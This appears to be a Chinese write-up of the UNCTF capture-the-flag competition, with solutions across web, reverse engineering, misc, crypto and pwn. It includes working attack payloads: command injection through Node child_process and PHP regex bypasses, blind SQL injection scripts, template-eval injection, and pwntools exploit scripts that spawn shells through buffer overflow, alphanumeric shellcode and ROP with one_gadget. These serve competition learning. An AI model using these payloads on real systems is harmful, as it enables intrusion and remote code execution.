php账号密码备忘,UNCTF Write Up
WEB
帮赵总征婚
呃，帮不了赵总征婚~。
f12，有个hint：
上rockyou字典(不可能的，bp会炸，上top3000)，直接爆，得到flag
得到flag：flag{57fc636a42f46c7658110a631256f5cb}
简单的备忘录
emmm，没学过的语言，进去各种fuzz，
发现打一个字母他就会给些选择
最后随缘整出flag
flag{3ad4aaedf408c147d5f747f7ce76d2b4}
checkin
进入是个聊天框，/name 改名字
/flag 会打印flag1flag1flag1….
/more 显示/flag – 小伙子…
/calc 可以计算，(猜测这里可能有命令执行)
找到篇文章https://m.jb51.net/article/91411.htm`
于是试了试里面的payload：/calc require(‘child_process’).exec(‘ls’).toString()
返回了：血小板: [object Object]
然后试了试execSync：/calc require(‘child_process’).execSync(‘ls’).toString()
返回了：bin games include lib local sbin share src命令执行成功
于是读取flag：/calc require(‘child_process’).execSync(‘cat /flag’).toString()
返回：血小板: undefined
应该是空格的问题，那就用$IFS替代：/calc require(‘child_process’).execSync(‘cat$IFS/flag’).toString()
成功拿到flag
flag{0e4d1980ef6f8a81428f83e8e1c6e22b}
Twice_Insert
刚开始还以为是原题，注册admin’#后改密码，然后用admin登录，发现并没有flag(可恶呢
但是，既然这个二次注入点还在，那仍然是可以被拿来利用的
在单引号和#中间就可以注入语句
各种fuzz后，发现很多函数都被waf了(smarter…harder…大概是有回显的盲注了)
最后，发现了这篇文章https://www.smi1e.top/sql%E6%B3%A8%E5%85%A5%E7%AC%94%E8%AE%B0/
于是试着构造payload：
"admin' and ascii(substr((select group_concat(distinct database_name)from mysql.innodb_index_stats),1,1))=30###vanish"
"admin' and ascii(substr((select group_concat(distinct table_name)from mysql.innodb_index_stats),1,1))=30###vanish"
然后写一个自动化脚本。不断地注册，登录，改密码，然后根据回显按位爆破库、表即可
最终的payload：”admin’ and ascii(substr((select * from fl4g),%d,1))=%d###vanish”%(i,j)
得到flag：UNCTF{585ae8df50433972bb6ebd76e3ebd9f4}(不知道为啥，开头有时候会缺)
NSB Reset Password
注册->改密码：发验证码->重置密码
三个包抓过来，发现sessionID都没有变动过。
试着猜想这个改密码的逻辑：当我给自己的账户发邮件，然后输入验证码，验证通过后，这个sessionID就获得了更改密码的权利，但是是更改谁的密码呢？账户的信息想必是存在sessionID里的。
但经过测验，无论是给admin发邮件，还是给自己发邮件，sessionID都没有变过。那么，显然sessionID里的储存的账户信息的那部分是可以被覆盖的，所以解题流程：
先注册->更改密码：发送验证码->到重置密码的界面，此时再开一个窗口，发送更改admin密码的邮件(sessionID里的用户被覆盖为admin)，然后又回去，更改密码(此时更改的就是sessionID里的账户，即admin的密码)，然后用自己更改的密码登录admin账户即可获flag
flag：flag{175f3098f80735ddfdfbd4588f6b1082}
easy_admin
很容易发现在/index.php?file=forget这里存在注入
fuzz后发现过滤了and select where。。。
然后卡了好久不知道怎么查admin的密码，最后索性直接 password (bugku有一道过滤很严的题就是这样bypass，)
exp：
import requests
url = "http://101.71.29.5:10045/index.php?file=forget"
r = requests.Session()
password=""
for i in range(1,40):
for j in range(ord('0'),ord('}')):
data = {
"username":"-1'or ascii(substr((password),%d,1))=%d#"%(i,j)
}
res = r.post(url, data=data)
#print res.text
if "ok reset password" in res.text:
password = password + chr(j)
print password
break
得到密码：
登录后yes you are admin, but you can’ to get the flag, because admin will access the website from
from where？
盲猜是127.0.0.1，然后再报文头加一个Referer，得到后一半flag
flag：flag{nevertoolatetox}
Bypass
php的正则有点小漏洞，两个斜杠丢进php只剩一个斜杠了，然后这个斜杠丢进正则就用来转义了
而这一题，出题人似乎是给了个hint
这里故意换了下位置。
所以自己做了下实验，发现，由于这个小漏洞，a被过滤了|*而不是*，b被过滤了|\n，而不是被过滤了\n
//highlight_file(__FILE__);
$a = $_GET['a'];
$b = $_GET['b'];
// try bypass it
if (preg_match("/\'|\"|,|;|\`|\\|\*|\n|\t|\xA0|\r|\{|\}|\(|\)|
$a="";
echo"waf-a\n";}
if (preg_match("/\'|\"|;|,|\`|\*|\\|\n|\t|\r|\xA0|\{|\}|\(|\)|
$b="";
echo"waf-b";}
echo $a;
print "
";
echo $b;
同时，a,b就都可以用斜杠了，
于是就可以闭合引号后任意命令执行
对于命令的过滤有两种绕过方法，一个是linux下，用通配符?绕过，比如var写成v?r
解题：
http://101.71.29.5:10054/?a=\&b=%0al\s%20/%0a
flag不在根目录下，那就找找，
http://101.71.29.5:10054/?a=\&b=%0afin\d%20/va?/???/htm?/%0a
找到了
http://101.71.29.5:10054/?a=\&b=%0aca\t%20/va?/???/htm?/.F1jh_/h3R3_1S_your_F1A9.txt%0a
flag：unctf{86dfe85d7c5842c5c04adae104193ee1}
审计一下世界上最好的语言吧
先丢进Seay
parse_template.php中有一个eval
查一下调用关系：
index.php：parse_again($searchword);
parse_template.php:
function parse_again(){
global $template_html,$searchword;
$searchnum = isset($GLOBALS['searchnum'])?$GLOBALS['searchnum']:"";
$type = isset($GLOBALS['type'])?$GLOBALS['type']:"";
$typename = isset($GLOBALS['typename'])?$GLOBALS['typename']:"";
$searchword = substr(RemoveXSS($searchword),0,20);
$searchnum = substr(RemoveXSS($searchnum),0,20);
$type = substr(RemoveXSS($type),0,20);
$typename = substr(RemoveXSS($typename),0,20);
$template_html = str_replace("{haha:searchword}",$searchword,$template_html);
$template_html = str_replace("{haha:searchnum}",$searchnum,$template_html);
$template_html = str_replace("{haha:type}",$type,$template_html);
$template_html = str_replace("{haha:typename}",$typename,$template_html);
$template_html = parseIf($template_html);
return $template_html;
}
function parseIf($content){
if (strpos($content,'{if:')=== false){
return $content;
}else{
$Rule = "/{if:(.*?)}(.*?){end if}/is";
preg_match_all($Rule,$content,$iar);
$arlen=count($iar[0]);
$elseIfFlag=false;
for($m=0;$m
$strIf=$iar[1][$m];
$strIf=parseStrIf($strIf);
@eval("if(".$strIf.") { \$ifFlag=true;} else{ \$ifFlag=false;}");
}
}
return $content;
然后看到template.html，搜索searchword和searchnum
{haha:searchword} 共有{haha:searchnum}个影片 第{searchlist:page}页
最后再看看RemoveXSS
发现 if:,
解题思路：
首先利用四次的strreplace绕过RemoveXss,控制$templatehtml
然后是绕过判断和正则：{if:开头、{end if}结尾，然后真正执行的命令要在rule匹配到的第一个(.*?)
破题：
$searchnum={end if}
$searchword={if{haha:type}
$type=:read{haha:typename}
$typename=file(%27flag.php%27)}
这样content被替换为
{if:readfile(%27flag.php%27)} 共有{end if}个影片 第{searchlist:page}页
正则过后$iar为
Array
(
[0] => Array
(
[0] => {if:readfile(%27flag.php%27)} 共有{end if}
)
[1] => Array
(
[0] => readfile(%27flag.php%27)
)
[2] => Array
(
[0] => 共有
)
)
然后$strIf被赋值为readfile(%27flag.php%27)
然后 @eval(“if(readfile(%27flag.php%27)) { $ifFlag=true;} else{ $ifFlag=false;}”);
readlfile输出flag
最终payload：
searchnum={end if}&content={if{haha:type}&type=:read{haha:typename}&typename=file(%27flag.php%27)}
flag：UNCTF{5ee25610af306b625b4cadb4cb5fa24b}
RE
666
逆向签到题，
主要函数
然后找到一些关键值，再根据加密逻辑写解密脚本即可
exp：
cipher='''izwhroz""w"v.K".Ni'''
key=0x12
flag=''
for i in range(0,len(cipher),3):
flag+=chr((ord(cipher[i])^key)-6)
flag+=chr((ord(cipher[i+1])^key)+6)
flag+=chr((ord(cipher[i+2])^key)^6)
print flag
得到flag：unctf{b666b666b}
神奇的数组
打开主函数，读一下程序逻辑，结合大小端存储顺序。好的，flag就是checkbox里照抄。
flag：ad461e203c7975b35e527960cbfeb06c
BabyXor
手动脱壳+动调，直接出flag23333
flag：flag{2378b077-7d6e-4564-bdca-7eec8eede9a2}
unctfeasyMaze
解法一：ida反汇编后程序逻辑就是对地图进行了两次初始化，然后就是正常走迷宫了
将断点设置在地图第二次初始化完成后，然后查看RSI的值
7个一行排列
走完即可得到flag
flag：UNCTF{ssddwdwdddssaasasaaassddddwdds}
解法二：爆破
运行了程序后发现可以一步一步走，一旦走错就会报错
于是可以按位爆破，最多也就是试4*29次，很快的。。。(至少比misc那个走迷宫要快)
MISC
信号不好我先走了
下载得到图片，看了十六进制没有隐藏东西，于是用神器Stegsolve试一波LSB
果然有东西，藏了一个zip包。
保存下来解压缩得到一个张跟之前一样的图片。
盲猜盲水印，工具一把梭，得到
flag：unctf{9d0649505b702643}
亲爱的
原以为是mp3隐写，然而没有密码。
看十六进制数据发现有一个zip包在底下，
然后注释有提示
根据提示，和歌名，在qq音乐 海阔天空 李现 的评论区，在对应评论时间找到密码：真的上头
解压得到一张图片，看十六进制数据，底下隐写了一个word文档，
word打开，发现右下角有端倪，是图片一角，拖出来得到flag
(或者直接把word文档当zip打开，在word文件夹中的media文件夹中也有flag 的图片)
flag：UNCTF{W3L0v3Unctf}
快乐游戏题
终于出现了签到题，玩游戏得flag
flag：UNCTF{c783910550de39816d1de0f103b0ae32}
Happy Puzzle
手撕PNG呗，提示里的RGB没管，400*400比较有用，
最基本的PNG组成：文件头，IHDR，IDAT(len(data)+’IDAT’+data+crc)，IEND，和随处可见的crc32校验(这玩意儿坑惨我了)
用windows比较方便的是，crc不用算，用0占位即可，IEND也可以不用加
解题过程：
随便找个PNG，拿到png文件头+IHDR的数据
改宽高
给所有data文件，前面接上len(data)，即00002800，IDAT，再给末尾加上00000000占crc32的位
做出26张图，看哪张图有图像，然后以此类推的再往后加data
结果：
贴上半自动exp：
import os
head='89504e470d0a1a0a0000000d494844520000019000000190080200000000000000'
idata='0000280049444154'
crc="1bad748e"
with open(filename,"rb") as f:
data = f.read().encode("hex")
rootdir = ''
list = os.listdir(rootdir)
for i in range(0,len(list)):
path = os.path.join(rootdir,list[i])
if os.path.isfile(path) and path[-5:]=='.data':
with open(path,"rb") as f:
txt = f.read()
txt=data+idata+txt.encode("hex")+crc
with open(path.replace("puzzle","puzzle2").replace("data","png"),"wb") as f:
f.write(txt.decode('hex'))
flag：ucntf{312bbd92c1b291e1827ba519326b6688}
think
用python的匿名函数一句话制作出的题目
关键在这里，check函数判断checknum，如果checknum为1，就打印(__print(‘Congratulation!’), (__print(decrypt(key, encrypted)),猜测后面半部分就是flag
于是，直接运行代码，然后在IDLE里键入check(1)，得到flag
flag:flag{34a94868a8ad9ff82baadb326c513d40}
Hidden secret
下载拿到三个里面全是十六进制的文件
看到03 04 05 06 01 02
就意识到这三个是被去掉了50 4B的zip包的三段数据
用010editor拼接起来后得到一个压缩包，里面是一个图片
用010editor打开图片后底下藏了一个zip包
解压得到一串密文：”K
base全家桶走一遍，最后确定是base92
得到flag：unctf{cca1a567c3145b1801a4f3273342c622}
EasyBox
nc连上后是个数独题，不过是非常规的，只需要行和列不重复即可
魔改了个大佬的脚本：https://blog.csdn.net/zonnin/article/details/78813698
import itertools
from pwn import *
context.log_level='debug'
sh = remote('101.71.29.5',10011)
content = sh.recvuntil("answer :\n")[339:718].replace("\n","").split("+-+-+-+-+-+-+-+-+-+")
sudoku=[]
for i in content:
if i!="":
sudoku.append(i.replace(" ","0")[1:-1].split("|"))
#print sudoku
def find_index(s):
flag=list()
for i in range(9):
row=[]
for j in range(9):
if s[i][j]=='0':
row.append(1)
else:
row.append(0)
flag.append(row)
return flag
def not_done(s):
return True in [0 in r for r in s]
def get_row(s, r):
return s[r]
def get_column(s, c):
return [r[c] for r in s]
def get_possible(s, r, c):
return [i for i in range(1, 10) \
if i not in get_row(s, r) \
and i not in get_column(s, c)]
def go_around(s):
ans = []
for index_r, r in enumerate(s): #row_index and row
row = []
for index_c, c in enumerate(r): #each in row
c=int(c)
if 0 == c:
maybe_ans = get_possible(s, index_r, index_c)
row.append(maybe_ans[0] if len(maybe_ans) == 1 else 0)
else:
row.append(c)
ans.append(row)
return ans
def print_sudoku(s, msg):
print msg
for r in s:
print " ".join([str(c) for c in r])
print "*"*18
#print_sudoku(sudoku, "initializing...")
FLAG=find_index(sudoku)
counter=0
sudoku = go_around(sudoku)
#print_sudoku(sudoku, "Round "+ str(counter) + " :")
#counter += 1
while not_done(sudoku):
sudoku = go_around(sudoku)
#print_sudoku(sudoku, "Round "+ str(counter) + " :")
# counter += 1
answer=""
for i in range(9):
if FLAG[0][i] == 1:
answer+=str(sudoku[0][i])+","
answer=answer[:-1]
sh.sendline(answer)
#print answer
for i in range(1,9):
answer=""
sh.recvuntil("answer :")
for j in range(9):
if FLAG[i][j]==1:
answer+=str(sudoku[i][j])+","
answer=answer[:-1]
sh.sendline(answer)
#print answer
sh.interactive()
得到flag：flag{b613e841e0822e2925376d5373cbfbc4}
CRYPTO
不仅仅是RSA
下载附件得到五个文件，
两个音频文件，看波形图，是摩斯密码，解密得到c1,c2
两个pem文件，用openssh打开得到两个模n和相同的e
根据加密脚本得知两个n有公约数
所以已知e p q
基础rsa解密，
exp：
from gmpy2 import *
def GCD(a, b):
while b:
a, b = b, a%b
return a
c1=4314251881242803343641258350847424240197348270934376293792054938860756265727535163218661012756264314717591117355736219880127534927494986120542485721347351
c2=485162209351525800948941613977942416744737316759516157292410960531475083863663017229882430859161458909478412418639172249660818299099618143918080867132349
e=mpz(41221)
n1=int('0xC461B3ED566F2D68583019170BDD5263D113BAECE3DEE6631F08A166376AC41FF5D4E90B3330E0FC26993E3B353F38F9B6B880DFBC5807636497561B7611047B',16)
n2=int('0xA36E3A2A83FE2C1E33F285A08C3ECD36E377F4D9FFE828E2426D3ECED0A7F947631E932AEC327555511AC6D71E72686C1CB7DBBF3859A4D9A3D344FBF12A9553',16)
#q=GCD(n1,n2)
q = mpz(95652716952085928904432251307911783641637100214166105912784767390061832540987)
print n2/q
p1 = mpz(107527961531806336468215094056447603422487078704170855072884726273308088647617)
p2 = mpz(89485735722023752007114986095340626130070550475022132484632643785292683293897)
assert p1*q==n1
assert p2*q==n2
d1 = invert(e,(p1-1)*(q-1))
d2 = invert(e,(p2-1)*(q-1))
m1 = hex(pow(c1,d1,n1))[2:].decode('hex')
m2 = hex(pow(c2,d2,n2))[2:].decode('hex')
print m1,m2
flag：UNCTF{ac01dff95336aa470e3b55d3fe43e9f6}
一句话加密
拿到文件，python文件里没有啥，正常的rsa加密，
然后用010editor打开另外一张图片，发现底下有内容
猜测那个大数是n，先拿去分解一波，发现可行
但是，e呢？
突然，发现被分解出来的p和q很熟悉
p、q出现在V爷爷的Rabin密码的脚本里，那么这题就是Rabin密码了，，
那么直接上V爷爷脚本
import gmpy2
def n2s(num):
t = hex(num)[2:]
if len(t) % 2 == 1:
return ('0'+t).decode('hex')
return t.decode('hex')
def decode(c):
p = 275127860351348928173285174381581152299
q = 319576316814478949870590164193048041239
n = p*q
r = pow(c,(p+1)/4,p)
s = pow(c,(q+1)/4,q)
a = gmpy2.invert(p,q)
b = gmpy2.invert(q,p)
x =(a*p*s+b*q*r)%n
y =(a*p*s-b*q*r)%n
print n2s(x%n)
print n2s((-x)%n)
print n2s(y%n)
print n2s((-y)%n)
c1=62501276588435548378091741866858001847904773180843384150570636252430662080263
c2=72510845991687063707663748783701000040760576923237697638580153046559809128516
decode(c1)
decode(c2)
运行得到flag：unctf{412a1ed6d21e55191ee5131f266f5178}
ECC和AES基础
参考https://ctf-wiki.github.io/ctf-wiki/crypto/asymmetric/discrete-log/ecc-zh/
将底下的脚本的数据替换下
G=E(6478678675, 5636379357093)
pub = E(2854873820564,9226233541419)
c1 = E(6860981508506,1381088636252)
c2 = E(1935961385155, 8353060610242)
X = G
for i in range(1, 3000000):
if X == pub:
secret = i
print "[+] secret:", i
break
else:
X = X + G
print i
m = c2 - (c1 * secret)
print "[+] x:", m[0]
print "[+] y:", m[1]
print "[+] x+y:", m[0] + m[1]
爆破得到secret=2019813
x=1559343440829
y=7468915163961
x即为aes_key
from Crypto.Cipher import AES
import base64
key = bytes('1559343440829'.ljust(16,' '))
aes = AES.new(key, AES.MODE_ECB)
data=base64.b64decode('/cM8Nx+iAidmt6RiqX8Vww==')
ans = aes.decrypt(data)
print ans
发现并不能解出来
这里有点小坑，C1和C2位置互换了
于是重新跑第一个脚本，C1和C2的值互换，secret之前已经爆破出来了
得到 x=1026
AES解密得
thisisa_flag
然后去目标url post
得到
flag：401E48C9A96DC219C32AB5E75204B655
PWN
Sosoeasypwn
原本想泄露canary，后无意间发现，eip竟然被覆盖了，于是手测，发现输入12个a后即可控制eip。(这里输入了12个a和3个b加1个回车，可见eip被覆盖成了bbb\n)
IDA静态分析发现，是两个函数调用了同一个栈，然后栈内数据没清理，导致部分数据被重用
所以导致合法输入就可以覆盖v1的值。
由于开启了eip保护，但程序本身已经给了16位(4个字符)，ida里可以看到后门函数的相对偏移，9CD
基址后12位(3个字符)都是0，那么仅需要爆破一个字符即可得到拿到shell
exp：
#!/usr/bin/python
from pwn import *
context.log_level = 'debug'
while True:
try:
#sh = remote('101.71.29.5',10000)
sh = process("./pwn")
base_addr = sh.recvuntil(' world')
base_addr = hex(int(base_addr[-11:-6]))
sh.recvuntil('So, Can you tell me your name?')
sh.send('a'*12+p32(int(base_addr+'89cd',16))
sh.recvuntil('Please')
sh.sendline('ls')
sh.interactive()
except Exception as e:
sh.close()
得到flag：UNCTF{S0soE4zy_Pwn}
EasyShellcode
反汇编看程序逻辑，就只是限制了shellcode的字符，要求在A-Za-z0-9之间
直接上V爷爷将shellcode转base64的工具
https://github.com/veritas501/ae64
exp：
from pwn import *
from ae64 import AE64
context.log_level = 'debug'
p=remote('101.71.29.5',10080)
p.recvuntil('say?\n')
obj = AE64()
sc = obj.encode(asm(shellcraft.sh()))
p.sendline(sc)
p.interactive()
flag：UNCTF{x64A5c11shE11c0dEi550_Ea5y}
easy rop
这个很好绕过
发现有一个栈溢出，而且retaddr做了限制，这样就不能直接ret到system了(这里我用的是one_gadget)，但是可以找gadget绕过(这里我找的是 ret )
其中libc版本用LibcSearcher泄露出来，然后payload的偏移需要用’\x00’来填充，以满足one_gadget的条件。
exp:
#!/usr/bin/python
from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
#sh = process('./babyrop')
sh = remote('101.71.29.5',10041)
elf = ELF('./babyrop')
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main_addr = 0x08048592
ret = 0x0804839e
sh.recvuntil('Hello CTFer!')
payload = '\x00'*0x20 + p32(0x66666666)
sh.sendline(payload)
sh.recvuntil('name?\n')
payload = '\x00'*0x14 + p32(puts_plt) + p32(main_addr) + p32(puts_got)
sh.sendline(payload)
addr = u32(sh.recvuntil('\xf7')[-5:])
libc = LibcSearcher('puts',addr)
base = addr - libc.dump('puts')
one_gadget = base + 0x3a819
#one_gadget = base + 0x3ac69
sh.recvuntil('Hello CTFer!')
payload = p32(0)*8 + p32(0x66666666)
sh.sendline(payload)
sh.recvuntil('name?\n')
payload = '\x00'*0x14 + p32(ret) +p32(one_gadget)
sh.sendline(payload)
sh.interactive()
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